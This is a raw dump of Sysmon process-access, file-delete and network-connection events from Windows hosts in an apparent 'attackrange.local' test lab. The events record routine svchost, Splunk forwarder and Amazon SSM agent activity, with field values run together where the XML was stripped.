14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015407Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015406Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015405Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015404Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015403Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015402Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-714F-613B-D304-00000000F101}868C:\Windows\system32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015401Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67EE-613B-1000-00000000F101}9482336C:\Windows\system32\svchost.exe{625C326B-714F-613B-D304-00000000F101}868C:\Windows\system32\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a7a1|c:\windows\system32\UBPM.dll+fa34|c:\windows\system32\UBPM.dll+cdcc|c:\windows\system32\UBPM.dll+d395|c:\windows\system32\UBPM.dll+dc95|c:\windows\system32\UBPM.dll+e9dd|c:\windows\system32\UBPM.dll+e0a4|c:\windows\system32\UBPM.dll+11662|c:\windows\system32\EventAggregation.dll+3fae|c:\windows\system32\EventAggregation.dll+3ea1|c:\windows\system32\EventAggregation.dll+36c9|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+65b55|C:\Windows\SYSTEM32\ntdll.dll+6585d|C:\Windows\SYSTEM32\ntdll.dll+656c0|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015400Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1000-00000000F101}948C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015399Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:03.651{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1000-00000000F101}948C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015418Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:04.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=810FF3AEE5639A3F95A9C03BE62DAB53,SHA256=1F97364EAF679886046BA825DF76D22E0DC49DBF4D54ECD1C12B946852C222AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015417Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:04.893{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-039MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:04.523{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F72993CCDC5BD42537AB4045AD78167E,SHA256=F3E029D3CE184F5E31E5FC800F9C54CE9F1367A45FBBA7C209972609EC181128,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015416Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:04.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=909570911A169F13528002652AB1BB7A,SHA256=956B395E27D51F106958FDAC1F3C4F6978963801A1F640F9DC04FC93D3D12966,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015415Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:04.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DDEDF90AA814E042263251B79C0AF647,SHA256=CCEB493E941F2490FD82B9F9777240EE77D72153823D997196E9C853A7EF4530,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015419Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:05.926{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC59FD03636D14C4D2F1715899CD3240,SHA256=4ED4072456DA7EBEB745EC851557D58531D42357E6351FCAF87929EF77FD7141,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:05.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47D0FAB31A080BCD2DDC45389306AE6C,SHA256=9FC6F630D11E33C50158DA39F673F46C74C836F8E084BFE19C43DF8C6C6B0578,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:02.396{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59415-false10.0.1.12-8000- 23542300x800000000000000015421Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:06.957{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F7EFAB9131BD3029B9BBBE440C88E83,SHA256=F495A9987B566106E28F8A6A5D27662F09DFEAD50F3FD4EACEF456144FF8F9E1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:06.663{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=19D29A186E5704B45F295CBA9A5F66AE,SHA256=A3479B16A53C3D228EFC3829F003214B56486A56F646F4421FE4829B51F080DE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015420Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:04.575{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50223-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:07.679{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=076123EF8B72402E65DB604724C12C72,SHA256=18A56DBEB5E1E6928387B094834AA6068D271A9DFCB58D042548315401FFADE3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:08.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CAA5858678FA40863090A840EB8436B,SHA256=C403063EDD5CC89EF1E8050B46EF69BF69A2994EB35C34B5259568A3CDC6FD10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015422Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:08.004{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A050130D41A45630DB2B882B45E2D577,SHA256=788751A7C99F01A9510E9C54CD226AD8967F7B2C36DA9E7BCC005ACC3EB4B99A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=20A0DE0D4FB7256AAE6F94966C5E6B62,SHA256=119C225AFB615D872D7CF6B2FAB2524E66E5C626B9C265C5B49C8CA4615CF673,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:53:09.020{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36599B81E054F2E173CA4F9411C3C8D6,SHA256=7FD63FE5DCBEFC4429A7D003374D3322E60B6882ED0BBB3E89BE284E41D937B7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:53:09.163{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 